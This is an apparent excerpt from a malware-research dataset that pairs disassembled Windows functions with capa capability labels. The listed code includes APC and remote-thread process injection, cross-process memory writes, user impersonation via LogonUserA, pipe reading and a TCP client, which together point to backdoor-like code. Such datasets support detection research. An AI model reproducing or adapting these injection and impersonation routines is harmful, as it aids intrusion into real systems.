joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c9901
Capabilities:
Enumerate threads

Disassembly:
jmp 0x140104f70
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x1c
rep stosb byte [rdi], al
mov dword [rbp + 8], 0x1c
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x60], 0
lea rcx, [0x14027da1c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140105037
xor eax, eax
jmp 0x1401051bd
lea r8, [rbp + 0x48]
mov rax, qword [rbp + 0x200]
mov edx, dword [rax + 0x10]
mov rax, qword [rbp + 0x200]
mov rcx, qword [rax]
call fcn.1400cd137
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14010506c
xor eax, eax
jmp 0x1401051bd
xor edx, edx
mov ecx, 4
call fcn.1400cbdeb
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x14010509d
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0xc8]
call fcn.1400ccafc
test eax, eax
jne 0x1401050a4
xor eax, eax
jmp 0x1401051bd
mov rax, qword [rbp + 0x200]
mov eax, dword [rax + 0x10]
cmp dword [rbp + 0x14], eax
jne 0x14010510f
mov r8d, dword [rbp + 0x10]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x14010510f
mov rax, qword [rbp + 0xa8]
add rax, 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xa8]
mov rdx, rax
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0x88]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0xc8]
call fcn.1400c9ae1
test eax, eax
jne 0x1401050a4
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 0x1c
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x200]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140105176
cmp qword [rbp + 0x108], 0x1c
je 0x14010517a
xor eax, eax
jmp 0x1401051bd
cmp dword [rbp + 0x60], 0
jne 0x1401051b8
mov dword [rbp + 0x60], 1
lea rax, [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 0x1c
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x200]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
jmp 0x1401051bd
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400cdefc
mov rax, rdi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x1400c990b
Capabilities:
Read file on windows
Read pipe

Disassembly:
jmp 0x1400e24d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
lea rcx, [0x140304067]
call fcn.1400cf004
mov dword [rbp + 4], 0
mov dword [rbp + 0x44], 0
xor eax, eax
cmp eax, 1
je 0x1400e25be
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x1400e2558
mov eax, 0xffffffff
jmp 0x1400e25c1
cmp dword [rbp + 0x24], 0
je 0x1400e2567
cmp dword [rbp + 0x44], 0x80000
jl 0x1400e2569
jmp 0x1400e25be
mov eax, 0x80000
sub eax, dword [rbp + 0x44]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, eax
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x44]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x148], rax
jmp 0x1400e251b
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_bind
call fcn.1400cdefc
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400c9b27
Capabilities:
Get common file path

Disassembly:
jmp 0x1401035c0
push rbp
push rdi
sub rsp, 0xc28
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x212
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0xbf8], rax
lea rcx, [0x14030419b]
call fcn.1400cf004
mov r8d, 0x800
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400cd75e
lea rdx, [rbp + 0x30]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140103638
mov r8d, reloc.WS2_32.dll_send
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x30]
call fcn.1400ca400
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rcx, qword [rbp + 0xbf8]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0xc08]
pop rdi
pop rbp
ret

Function at 0x1400c9b86
Capabilities:
Create thread

Disassembly:
jmp 0x140101090
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x40]
lea rcx, [0x14030419b]
call fcn.1400cf004
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xf8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140101100
mov dword [rbp + 0xc0], 1
jmp 0x14010110a
mov dword [rbp + 0xc0], 0
mov eax, dword [rbp + 0xc0]
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret
Function at 0x1400c9bfe
Capabilities:
Check for time delay via gettickcount

Disassembly:
jmp 0x1400f82a0
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1403040eb]
call fcn.1400cf004
mov qword [rbp + 8], 0
mov rax, qword [0x1402dbc30]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x1400f842f
xor eax, eax
cmp eax, 1
je 0x1400f842f
mov rax, qword [rbp + 0x28]
cmp dword [rax + 4], 0
je 0x1400f8310
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400f830e
jmp 0x1400f842f
jmp 0x1400f82d9
mov rax, qword [rbp + 0x28]
cmp dword [rax + 0xc], 0
jne 0x1400f8349
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 0xc], eax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400f8347
jmp 0x1400f842f
jmp 0x1400f82d9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rbp + 0x28]
sub eax, dword [rcx + 0xc]
cmp eax, 0x3e8
ja 0x1400f8382
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400f837d
jmp 0x1400f842f
jmp 0x1400f82d9
mov rax, qword [rbp + 0x28]
cmp dword [rax + 0x10], 0
jne 0x1400f839e
mov edx, 2
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x1c]
call fcn.1400c920d
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x1c]
call fcn.1400ccd7c
test eax, eax
je 0x1400f83db
mov rax, qword [rbp + 0x28]
cmp dword [rax + 0x10], 2
jne 0x1400f83db
mov rax, qword [rbp + 0x28]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400f83d6
jmp 0x1400f842f
jmp 0x1400f82d9
cmp qword [rbp + 8], 0
jne 0x1400f83fc
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x24]
mov qword [0x1402dbc30], rax
mov rcx, qword [rbp + 0x28]
call fcn.1400cb21f
jmp 0x1400f842f
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x28]
mov rcx, qword [rcx + 0x24]
mov qword [rax + 0x24], rcx
mov rcx, qword [rbp + 0x28]
call fcn.1400cb21f
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x24]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400f842a
jmp 0x1400f842f
jmp 0x1400f82d9
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400c9cdf
Capabilities:
Impersonate user

Disassembly:
jmp 0x140103a90
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14030419b]
call fcn.1400cf004
call fcn.1400cd8cb
lea rax, [0x1402dce90]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 3
mov r9d, 9
mov r8, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
je 0x140103c10
mov rcx, qword [0x1402dce90]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x140103bfc
mov ecx, 0x800
call fcn.1400cdad8
mov qword [0x1402dceb8], rax
mov edx, 0x200
mov rcx, qword [0x1402dceb8]
call fcn.1400ca478
mov qword [0x1402e2db0], rax
mov edx, 0x200
mov rcx, qword [0x1402dceb8]
call fcn.1400ca478
mov qword [0x1402e2da8], rax
mov edx, 0x400
mov rcx, qword [0x1402dceb8]
call fcn.1400ca478
mov qword [0x1402e2db8], rax
mov r8d, 0x100
mov rdx, qword [0x1402e2da8]
mov rcx, qword [rbp + 0xe8]
call fcn.1400cf96e
mov r8d, 0x100
mov rdx, qword [0x1402e2db0]
mov rcx, qword [rbp + 0xe0]
call fcn.1400cf96e
mov r8d, 0x200
mov rdx, qword [0x1402e2db8]
mov rcx, qword [rbp + 0xf0]
call fcn.1400cf96e
mov dword [0x1402e2da0], 1
mov r8, qword [rbp + 0xe8]
mov rdx, qword [0x1402dce90]
mov ecx, 0x400
call fcn.1400cc773
test eax, eax
je 0x140103bfa
mov rcx, qword [rbp + 0xe8]
call fcn.1400cbb43
mov r8d, reloc.WS2_32.dll_ntohs
mov edx, eax
mov rcx, qword [rbp + 0xe8]
call fcn.1400ca400
jmp 0x140103c0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x19
call fcn.1400caa5e
jmp 0x140103c22
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 0x18
call fcn.1400caa5e
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400ca0cc
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140145330
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x140145358
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x1401453a2
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14014534d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret

Function at 0x1400ca239
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14021d0b0
mov qword [rsp + 8], rcx
sub rsp, 0x38
call fcn.14021c100
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14021d0e7
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x140305020]
jmp 0x14021d0ed
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x38
ret
Function at 0x1400ca3a6
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14010a980
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov rbx, r9
mov ebp, r8d
mov rdi, rdx
mov rsi, rcx
test rcx, rcx
jne 0x14010a9b4
lea r8d, [rcx + 0x1f]
lea rcx, str.pt___NULL
lea rdx, str.srcmodescbccbc_encrypt.c
call fcn.1400cabda
test rdi, rdi
jne 0x14010a9d0
lea r8d, [rdi + 0x20]
lea rdx, str.srcmodescbccbc_encrypt.c
lea rcx, str.ct___NULL
call fcn.1400cabda
test rbx, rbx
jne 0x14010a9ec
lea r8d, [rbx + 0x21]
lea rdx, str.srcmodescbccbc_encrypt.c
lea rcx, str.cbc___NULL
call fcn.1400cabda
mov ecx, dword [rbx]
call fcn.1400cb92c
test eax, eax
jne 0x14010ab17
mov r8d, dword [rbx + 4]
lea eax, [r8 - 1]
cmp eax, 0x7f
ja 0x14010aa16
xor edx, edx
mov eax, ebp
div r8d
mov r11d, eax
test edx, edx
je 0x14010aa28
mov eax, reloc.WS2_32.dll_recv
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
movsxd rax, dword [rbx]
mov qword [rsp + 0x50], r12
lea r12, [0x1402e4600]
lea rcx, [rax + rax*2]
shl rcx, 6
mov r10, qword [rcx + r12 + 0x60]
test r10, r10
je 0x14010aa6a
lea rax, [rbx + 0x88]
mov r8d, r11d
lea r9, [rbx + 8]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call r10
jmp 0x14010ab12
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
test ebp, ebp
je 0x14010ab06
nop dword [rax]
xor edx, edx
test r8d, r8d
jle 0x14010aaa4
mov r8, rsi
lea rax, [rbx + 8]
sub r8, rbx
movzx ecx, byte [r8 + rax - 8]
inc edx
xor byte [rax], cl
lea rax, [rax + 1]
cmp edx, dword [rbx + 4]
jl 0x14010aa91
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
mov rdx, rdi
lea rcx, [rbx + 8]
lea r9, [rax + rax*2]
shl r9, 6
call qword [r9 + r12 + 0x28]
test eax, eax
jne 0x14010ab08
xor edx, edx
cmp dword [rbx + 4], edx
jle 0x14010aaf3
mov r8, rdi
lea rcx, [rbx + 8]
sub r8, rbx
nop word [rax + rax]
movzx eax, byte [r8 + rcx - 8]
inc edx
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp edx, dword [rbx + 4]
jl 0x14010aae0
movsxd r8, dword [rbx + 4]
add rdi, r8
add rsi, r8
sub ebp, r8d
jne 0x14010aa80
xor eax, eax
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400ca419
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401013e0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14030419b]
call fcn.1400cf004
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140101461
mov eax, dword [rbp + 4]
inc eax
mov eax, eax
cmp rax, qword [rbp + 0x110]
jae 0x140101461
mov r8, qword [rbp + 0x110]
xor edx, edx
mov rcx, qword [rbp + 0x108]
call fcn.1400cd75e
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400ca829
Capabilities:
Delete file

Disassembly:
jmp 0x140227fd0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140227ffc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400cac57
mov eax, 0xffffffff
jmp 0x140227ffe
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400caa54
Capabilities:
Check for time delay via gettickcount

Disassembly:
jmp 0x1400fd270
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, reloc.WS2_32.dll_select
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
lea rcx, [0x14030415e]
call fcn.1400cf004
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [rbp + 0x128]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x24], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rbp + 0x24]
jae 0x1400fd31e
mov qword [rsp + 0x28], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1400fd31e
cmp dword [rbp + 4], 0
je 0x1400fd302
mov eax, 1
jmp 0x1400fd320
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rbp + 0x24]
jb 0x1400fd31c
xor eax, eax
jmp 0x1400fd320
jmp 0x1400fd2ca
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
mov rax, rdi
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400caac7
Capabilities:
Terminate process

Disassembly:
jmp 0x140102bb0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
lea rcx, [0x14030419b]
call fcn.1400cf004
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, dword [rbp + 0x158]
mov rdx, qword [rbp + 0x150]
lea rcx, [rbp + 8]
call fcn.1400cc8a4
lea rcx, [rbp + 8]
call fcn.1400cf045
mov dword [rbp + 0x34], eax
mov r8d, dword [rbp + 0x34]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
je 0x140102c4b
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140102c61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x34]
mov ecx, 0x23
call fcn.1400c9fbe
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400cdefc
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x1400cb02b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
jmp 0x1400f74f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x14e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7c8]
mov rax, qword [0x1402d9238]
xor rax, rbp
mov qword [rbp + 0x768], rax
lea rcx, [0x1403040eb]
call fcn.1400cf004
mov rax, qword [rbp + 0x790]
mov ecx, dword [rax]
call fcn.1400c939d
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x790]
movzx ecx, word [rax + 4]
call fcn.1400ce9f1
movzx eax, ax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x798]
sub eax, 6
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0x3ff
jl 0x1400f7580
mov dword [rbp + 0x44], 0x3ff
movsxd rax, dword [rbp + 0x44]
mov rcx, qword [rbp + 0x790]
add rcx, 6
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 0x70]
call fcn.1400cbec2
movsxd rax, dword [rbp + 0x44]
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0x400
jae 0x1400f75b8
jmp 0x1400f75bd
call fcn.1400cd4cf
mov rax, qword [rbp + 0x758]
mov byte [rbp + rax + 0x70], 0
call fcn.1400cebe0
xor r8d, r8d
mov edx, 1
mov ecx, 2
call fcn.1400cab80
mov qword [rbp + 0x488], rax
cmp qword [rbp + 0x488], 0xffffffffffffffff
jne 0x1400f7617
mov ecx, 0xffffffff
call fcn.1400ccd7c
mov r8d, 4
mov edx, 4
mov rcx, qword [rbp + 0x790]
call fcn.1400ca400
jmp 0x1400f773c
lea rcx, [rbp + 0x70]
call fcn.1400ceb4f
mov qword [rbp + 0x4a8], rax
cmp qword [rbp + 0x4a8], 0
jne 0x1400f7659
mov rcx, qword [rbp + 0x488]
call fcn.1400ccd7c
mov r8d, 4
mov edx, 4
mov rcx, qword [rbp + 0x790]
call fcn.1400ca400
jmp 0x1400f773c
mov rax, qword [rbp + 0x4a8]
movsx rax, word [rax + 0x12]
mov rcx, qword [rbp + 0x4a8]
mov rcx, qword [rcx + 0x18]
mov r8, rax
mov rdx, qword [rcx]
lea rcx, [rbp + 0x4cc]
call fcn.1400cbec2
movzx ecx, word [rbp + 0x24]
call fcn.1400ce622
mov word [rbp + 0x4ca], ax
mov eax, 2
mov word [rbp + 0x4c8], ax
mov dword [rbp + 0x4f4], 1
lea r8, [rbp + 0x4f4]
mov edx, 0x8004667e
mov rcx, qword [rbp + 0x488]
call fcn.1400ce5aa
cmp eax, 0xffffffff
je 0x1400f76ef
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x4c8]
mov rcx, qword [rbp + 0x488]
call fcn.1400cc0f2
cmp eax, 0xffffffff
jne 0x1400f7714
call fcn.1400cecd0
cmp eax, 0x2733
je 0x1400f7714
mov rcx, qword [rbp + 0x488]
call fcn.1400ccd7c
mov r8d, 4
mov edx, 4
mov rcx, qword [rbp + 0x790]
call fcn.1400ca400
jmp 0x1400f773c
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x7530
mov rdx, qword [rbp + 0x488]
mov ecx, dword [rbp + 4]
call fcn.1400ca22a
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400cdefc
mov rcx, qword [rbp + 0x768]
xor rcx, rbp
call fcn.1400cbea4
lea rsp, [rbp + 0x778]
pop rdi
pop rbp
ret
Function at 0x1400cb07b
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14010ab90
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x1402d9238]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, r9
mov ebp, r8d
mov rsi, rdx
mov rdi, rcx
test rdx, rdx
jne 0x14010abd0
lea r8d, [rdx + 0x25]
lea rdx, str.srcmodescbccbc_decrypt.c
lea rcx, str.pt___NULL
call fcn.1400cabda
test rdi, rdi
jne 0x14010abec
lea r8d, [rdi + 0x26]
lea rdx, str.srcmodescbccbc_decrypt.c
lea rcx, str.ct___NULL
call fcn.1400cabda
test rbx, rbx
jne 0x14010ac08
lea r8d, [rbx + 0x27]
lea rdx, str.srcmodescbccbc_decrypt.c
lea rcx, str.cbc___NULL
call fcn.1400cabda
mov ecx, dword [rbx]
call fcn.1400cb92c
test eax, eax
jne 0x14010ad21
mov ecx, dword [rbx + 4]
lea eax, [rcx - 1]
cmp eax, 0xf
ja 0x14010ac2e
xor edx, edx
mov eax, ebp
div ecx
mov ecx, eax
test edx, edx
je 0x14010ac38
mov eax, reloc.WS2_32.dll_recv
jmp 0x14010ad21
movsxd rax, dword [rbx]
mov qword [rsp + 0x58], r15
lea r15, [0x1402e4600]
lea r8, [rax + rax*2]
shl r8, 6
mov r10, qword [r8 + r15 + 0x68]
test r10, r10
je 0x14010ac7a
lea rax, [rbx + 0x88]
mov r8d, ecx
mov rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbx + 8]
mov rdx, rsi
call r10
jmp 0x14010ad1c
mov qword [rsp + 0x60], r14
test ebp, ebp
je 0x14010ad15
nop word [rax + rax]
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
lea rdx, [rsp + 0x30]
mov rcx, rdi
lea r9, [rax + rax*2]
shl r9, 6
call qword [r9 + r15 + gethostbyname]
test eax, eax
jne 0x14010ad17
xor r8d, r8d
cmp dword [rbx + 4], r8d
jle 0x14010ad03
mov r10, rdi
lea r9, [rsp + 0x30]
sub r10, rbx
lea rax, [rbx + 8]
add r10, 0xfffffffffffffff8
sub r9, rdi
mov r11, rsi
sub r11, rbx
nop dword [rax + rax]
lea rcx, [r10 + rax]
inc r8d
movzx edx, byte [r9 + rcx]
xor dl, byte [rax]
lea rax, [rax + 1]
movzx ecx, byte [rcx]
mov byte [rax - 1], cl
mov byte [r11 + rax - 9], dl
cmp r8d, dword [rbx + 4]
jl 0x14010ace0
movsxd rcx, dword [rbx + 4]
add rdi, rcx
add rsi, rcx
sub ebp, ecx
jne 0x14010ac90
xor eax, eax
mov r14, qword [rsp + 0x60]
mov r15, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400cbea4
add rsp, 0x68
pop rdi
pop rsi
pop rbp
pop rbx
ret